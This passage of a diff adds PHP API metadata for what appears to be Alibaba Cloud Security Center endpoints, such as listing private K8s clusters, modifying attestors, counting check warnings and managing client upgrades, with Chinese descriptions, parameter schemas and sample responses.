+ 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'CanTry' => [ + 'description' => '是否允许试用。取值：'."\n" + .'- **1**：允许'."\n" + .'- **0**：不允许', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'E90DE229-9FC6-58F6-BF4B-03AD6179****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CanTry\\": 0,\\n \\"RequestId\\": \\"E90DE229-9FC6-58F6-BF4B-03AD6179****\\"\\n}","type":"json"}]', + 'title' => '查询云安全中心试用权限', + ], + 'DescribeNeedAsyncQuery' => [ + 'summary' => '查询是否需要做慢查询优化。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92141', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '查询的类型。取值：'."\n" + .'- **suspicious**：安全告警', + 'type' => 'string', + 'required' => true, + 'example' => 'suspicious', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '结果。取值：'."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '5DFD6277-CC36-57F7-ACE6-F5952XXXXXXXX', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"RequestId\\": \\"5DFD6277-CC36-57F7-ACE6-F5952XXXXXXXX\\"\\n}","type":"json"}]', + 'title' => '查询是否需要做慢查询优化', + ], + 'ListPrivateK8s' => [ + 'summary' => '获取已接入云安全中心的自建K8s信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '52870893-48A7-5A9E-9E05-6253E5B6****', + ], + 'PrivateK8sInfos' => [ + 'description' => '私有K8s集群信息列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'VpcId' => [ + 'description' => 'VPC实例的ID。', + 'type' => 'string', + 'example' => 'vpc-2zet5l358k6z0gnz*****', + ], + 'ApiServerIp' => [ + 'description' => 'API Server的IP。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'K8sVersion' => [ + 'description' => 'K8s版本', + 'type' => 'string', + 'example' => '1.18', + ], + 'NetType' => [ + 'description' => '网络类型。取值：'."\n" + .'- **1**：公网'."\n" + .'- **2**：vpc', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'ClusterName' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'example' => 'xxx', + ], + 'KubeConfig' => [ + 'description' => 'K8s服务器的配置信息。', + 'type' => 'string', + 'example' => 'xxx', + ], + 'AliUid' => [ + 'description' => '用户UID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '12345', + ], + 'Id' => [ + 'description' => '策略的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'RegionId' => [ + 'description' => '地域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"52870893-48A7-5A9E-9E05-6253E5B6****\\",\\n \\"PrivateK8sInfos\\": [\\n {\\n \\"VpcId\\": \\"vpc-2zet5l358k6z0gnz*****\\",\\n \\"ApiServerIp\\": \\"192.168.XX.XX\\",\\n \\"K8sVersion\\": \\"1.18\\",\\n \\"NetType\\": 1,\\n \\"ClusterName\\": \\"xxx\\",\\n \\"KubeConfig\\": \\"xxx\\",\\n \\"AliUid\\": 12345,\\n \\"Id\\": 1,\\n \\"RegionId\\": \\"cn-hangzhou\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取私有K8s信息', + ], + 'ModifyAttestor' => [ + 'summary' => '修改容器签名功能中已创建的证明者信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92349', + 'abilityTreeNodes' => [ + 'FEATUREsasJEFOWE', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '证明者名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'attestor-auto-ad5316', + ], + ], + [ + 'name' => 'KeyRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => 'KMS的密钥的Region。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'KeyId', + 'in' => 'query', + 'schema' => [ + 'description' => 'KMS密钥ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'key-********', + ], + ], + [ + 'name' => 'KeyVersionId', + 'in' => 'query', + 'schema' => [ + 'description' => 'KMS密钥版本ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'key-****', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '备注。', + 'type' => 'string', + 'required' => false, + 'example' => 'remark', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '9E8B1D8F-DE1C-5421-81AA-**********', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9E8B1D8F-DE1C-5421-81AA-**********\\"\\n}","type":"json"}]', + 'title' => '修改证明者', + ], + 'DescribeCheckWarningCount' => [ + 'summary' => '查询检查项告警数量。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '144220', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'RiskId', + 'in' => 'query', + 'schema' => [ + 'description' => '风险项的ID。'."\n" + ."\n" + .'> 您可调用[DescribeCheckWarningSummary](~~DescribeCheckWarningSummary~~)接口获取风险项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '43', + ], + ], + [ + 'name' => 'CheckId', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项的ID。'."\n" + ."\n" + .'> 您可调用[ListCheckItemWarningSummary](~~ListCheckItemWarningSummary~~)接口获取检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '926', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项告警的状态。'."\n" + .'- **1**：未通过'."\n" + .'- **2**：验证中'."\n" + .'- **3**：已通过'."\n" + .'- **6**：已忽略', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '3', + ], + ], + [ + 'name' => 'AliUid', + 'in' => 'query', + 'schema' => [ + 'description' => '阿里云账号ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '103784262032****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '返回结果数据。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '查询到的风险数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '9693CBA1-1EC4-5B5A-8D96-34010D9DXXXX', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Count\\": 4,\\n \\"RequestId\\": \\"9693CBA1-1EC4-5B5A-8D96-34010D9DXXXX\\"\\n}","type":"json"}]', + 'title' => '查询检查项告警数量', + ], + 'GetAccountLabel' => [ + 'summary' => '获取账户标签。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '146333', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'LabelList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '标签', + 'type' => 'array', + 'items' => [ + 'description' => '标签列表。取值：'."\n" + ."\n" + .'- **SasStep**：阶梯版本'."\n" + .'- **SasMultiCloud**：多云版本'."\n" + .'- **MultiVersion**：多版本'."\n" + .'- **SasMultiCloudNew**：新多云版本', + 'type' => 'string', + 'required' => false, + 'example' => '["SasStep"]', + ], + 'required' => true, + 'maxItems' => 20, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', + ], + 'AccountLabelList' => [ + 'description' => '标签列表。', + 'type' => 'array', + 'items' => [ + 'description' => '标签列表。', + 'type' => 'object', + 'properties' => [ + 'LabelSeries' => [ + 'description' => '标签信息。', + 'type' => 'string', + 'example' => 'SasStep', + ], + 'LabelStatus' => [ + 'description' => '标签状态。'."\n" + ."\n" + .'- **true**：有效'."\n" + .'- **false**：无效', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\",\\n \\"AccountLabelList\\": [\\n {\\n \\"LabelSeries\\": \\"SasStep\\",\\n \\"LabelStatus\\": true\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取账户标签', + ], + 'ListAssetInfoPublish' => [ + 'summary' => '获取用户指定资产的自定义升级信息列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + ], + 'parameters' => [ + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '扩展字段，暂时无用。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + [ + 'name' => 'UuidList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '指定需要查询的服务器UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '指定需要查询的服务器UUID列表。', + 'type' => 'string', + 'required' => false, + 'example' => 'fe914136-47ff-4dc3-bd25-fdd24969****', + ], + 'required' => true, + 'maxItems' => 1000, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '3956048F-9D73-5EDB-834B-4827BB483977', + ], + 'AssetList' => [ + 'description' => '服务器列表信息。', + 'type' => 'array', + 'items' => [ + 'description' => '服务器列表信息。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '云安全中心资产UUID。', + 'type' => 'string', + 'example' => '2a98f149-0256-414c-a29a-a69f8a75****', + ], + 'LastUpgradeTime' => [ + 'description' => '最近一次升级时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1724522400000', + ], + 'CurVersion' => [ + 'description' => '当前客户端版本。', + 'type' => 'string', + 'example' => '0.0.8', + ], + 'UpgradeEnable' => [ + 'description' => '是否开启了升级。取值：'."\n" + .'- **true**：已开启'."\n" + .'- **false**：未开启', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Status' => [ + 'description' => '客户端发布状态。取值：'."\n" + ."\n" + .'- **0**： 未开始'."\n" + .'- **1**： 发布中'."\n" + .'- **2**： 发布完成'."\n" + .'- **3**： 发布暂停'."\n" + .'- **4**： 强制升级中', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB483977\\",\\n \\"AssetList\\": [\\n {\\n \\"Uuid\\": \\"2a98f149-0256-414c-a29a-a69f8a75****\\",\\n \\"LastUpgradeTime\\": 1724522400000,\\n \\"CurVersion\\": \\"0.0.8\\",\\n \\"UpgradeEnable\\": true,\\n \\"Status\\": 2\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取指定资产升级信息', + ], + 'GetCurrentVersionPublish' => [ + 'summary' => '获取当前客户端版本的发布信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '1383B0DB-D5D6-4B0C-9E6B-75939C8E67FE', + ], + 'Data' => [ + 'description' => '数据详情。', + 'type' => 'object', + 'properties' => [ + 'CurVersion' => [ + 'description' => '当前版本', + 'type' => 'string', + 'example' => '0.0.8', + ], + 'UpgradeVersion' => [ + 'description' => '要升级目标版本。', + 'type' => 'string', + 'example' => '0.0.9', + ], + 'LatestVersion' => [ + 'description' => '最新的客户端版本号。', + 'type' => 'string', + 'example' => '0.0.9', + ], + 'LatestVersionCreate' => [ + 'description' => '客户端最新版本创建时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1662639150000', + ], + 'ForceUpgradeTime' => [ + 'description' => '客户端强制升级时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1732506308000', + ], + 'PublishStatus' => [ + 'description' => '当前版本的发布状态。'."\n" + .'- **0**：未开始'."\n" + .'- **1**：发布中'."\n" + .'- **2**：发布完成'."\n" + .'- **3**：发布暂停'."\n" + .'- **4**：强制升级中', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'GraySwitchStatus' => [ + 'description' => '是否开启灰度策略。取值：'."\n" + .'- **1**：开启'."\n" + .'- **0**：关闭', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'BigCustomer' => [ + 'description' => '当前用户是否支持云安全中心自定义升级。取值：'."\n" + .'- **true**：支持'."\n" + .'- **false**：不支持', + 'type' => 'boolean', + 'example' => 'true', + ], + 'LatestVersionDesc' => [ + 'description' => '最新版本描述信息。', + 'type' => 'string', + 'example' => 'test', + ], + 'AutoUpgrade' => [ + 'description' => '是否开启自动升级。取值：'."\n" + ."\n" + .'- **1**：开启'."\n" + .'- **0**：关闭', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1383B0DB-D5D6-4B0C-9E6B-75939C8E67FE\\",\\n \\"Data\\": {\\n \\"CurVersion\\": \\"0.0.8\\",\\n \\"UpgradeVersion\\": \\"0.0.9\\",\\n \\"LatestVersion\\": \\"0.0.9\\",\\n \\"LatestVersionCreate\\": 1662639150000,\\n \\"ForceUpgradeTime\\": 1732506308000,\\n \\"PublishStatus\\": 1,\\n \\"GraySwitchStatus\\": 1,\\n \\"BigCustomer\\": true,\\n \\"LatestVersionDesc\\": \\"test\\",\\n \\"AutoUpgrade\\": 1\\n }\\n}","type":"json"}]', + 'title' => '获取版本发布信息', + ], + 'BatchCreateMaliciousNote' => [ + 'summary' => '批量增加安全告警备注。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '185664', + 'abilityTreeNodes' => [ + 'FEATUREsas731ZAS', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ImageMaliciousFileList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '批量列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'EventId' => [ + 'title' => '告警ID', + 'description' => '告警ID。'."\n" + .'>调用[DescribeSuspEvents](~~DescribeSuspEvents~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1', + ], + 'Note' => [ + 'title' => '备注', + 'description' => '备注。', + 'type' => 'string', + 'required' => false, + 'example' => 'Malware sample', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '返回结果的提示信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID。', + 'type' => 'string', + 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'UnknownError', + 'errorMessage' => 'UnknownError', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '批量增加安全告警备注', + ], + 'DescribeInstanceVulStatistics' => [ + 'summary' => '查询集群漏洞统计。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '194674', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + ], + 'parameters' => [ + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产实例的UUID。'."\n" + .'>调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '5b268326-273e-44fc-a0e3-9482435c****', + ], + ], + [ + 'name' => 'Types', + 'in' => 'query', + 'schema' => [ + 'description' => 'Serverless资产对应的漏洞类型。取值：'."\n" + ."\n" + .'- **sca** 中间件漏洞'."\n" + ."\n" + .'- **app** 扫描器漏洞'."\n" + ."\n" + .'>Serverless资产目前只支持应用漏洞扫描。', + 'type' => 'string', + 'required' => false, + 'example' => 'sca,app', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1EE7B150-D67E-53FD-A52D-3E8E669A****', + ], + 'VulStat' => [ + 'description' => '漏洞统计信息。', + 'type' => 'object', + 'properties' => [ + 'AsapCount' => [ + 'description' => '高危漏洞数量，即紧急程度为高的漏洞数量。', + 'type' => 'string', + 'example' => '0', + ], + 'LaterCount' => [ + 'description' => '中危漏洞数量，即紧急程度为中的漏洞数量。', + 'type' => 'string', + 'example' => '0', + ], + 'NntfCount' => [ + 'description' => '低危漏洞数量，即紧急程度为低的漏洞数量。', + 'type' => 'string', + 'example' => '0', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1EE7B150-D67E-53FD-A52D-3E8E669A****\\",\\n \\"VulStat\\": {\\n \\"AsapCount\\": \\"0\\",\\n \\"LaterCount\\": \\"0\\",\\n \\"NntfCount\\": \\"0\\"\\n }\\n}","type":"json"}]', + 'title' => '查询Serverless资产实例漏洞风险数统计', + ], + 'SetImageBuildRiskStatus' => [ + 'summary' => '设置镜像构建风险状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'RiskKey', + 'in' => 'query', + 'schema' => [ + 'description' => '风险关键字。', + 'type' => 'string', + 'required' => false, + 'example' => 'risk.type', + ], + ], + [ + 'name' => 'ImageUuids', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像UUID列表。多项用逗号分隔。'."\n" + .'>调用[DescribeImageInstances](~~DescribeImageInstances~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'f382fccd88b94c5c8c864def681*****,ac32fccd88b94c5c8c864def681*****', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '状态。取值包括：'."\n" + .'- **0**：未处理。'."\n" + .'- **1**：忽略。'."\n" + .'- **2**：误报。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '273698***', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用的结果状态。取值：'."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '52870893-48A7-5A9E-9E05-6253E5B6****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 0\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"52870893-48A7-5A9E-9E05-6253E5B6****\\"\\n}","type":"json"}]', + 'title' => '设置镜像构建风险状态', + ], + 'SubmitTenantCheck' => [ + 'summary' => '提交免费一键检测，检测范围包含免费漏洞检测类别和CSPM免费检查项。', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '236185', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + 'FEATUREsas8WIQPJ', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1162D670-E633-5676-AE87-8359B066****', + ], + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'TaskId' => [ + 'description' => '检测任务ID。', + 'type' => 'string', + 'example' => 'fc98d58eb56f699d49bf7ebbd6d7****', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1162D670-E633-5676-AE87-8359B066****\\",\\n \\"Data\\": {\\n \\"TaskId\\": \\"fc98d58eb56f699d49bf7ebbd6d7****\\"\\n }\\n}","type":"json"}]', + 'title' => '提交一键检测任务', + ], + 'GetTenantCheckAvailable' => [ + 'summary' => '获取能否提交免费一键检测，检测范围包含免费漏洞检测类别和CSPM免费检查项。', + 'methods' => [ + 'get', + ], + 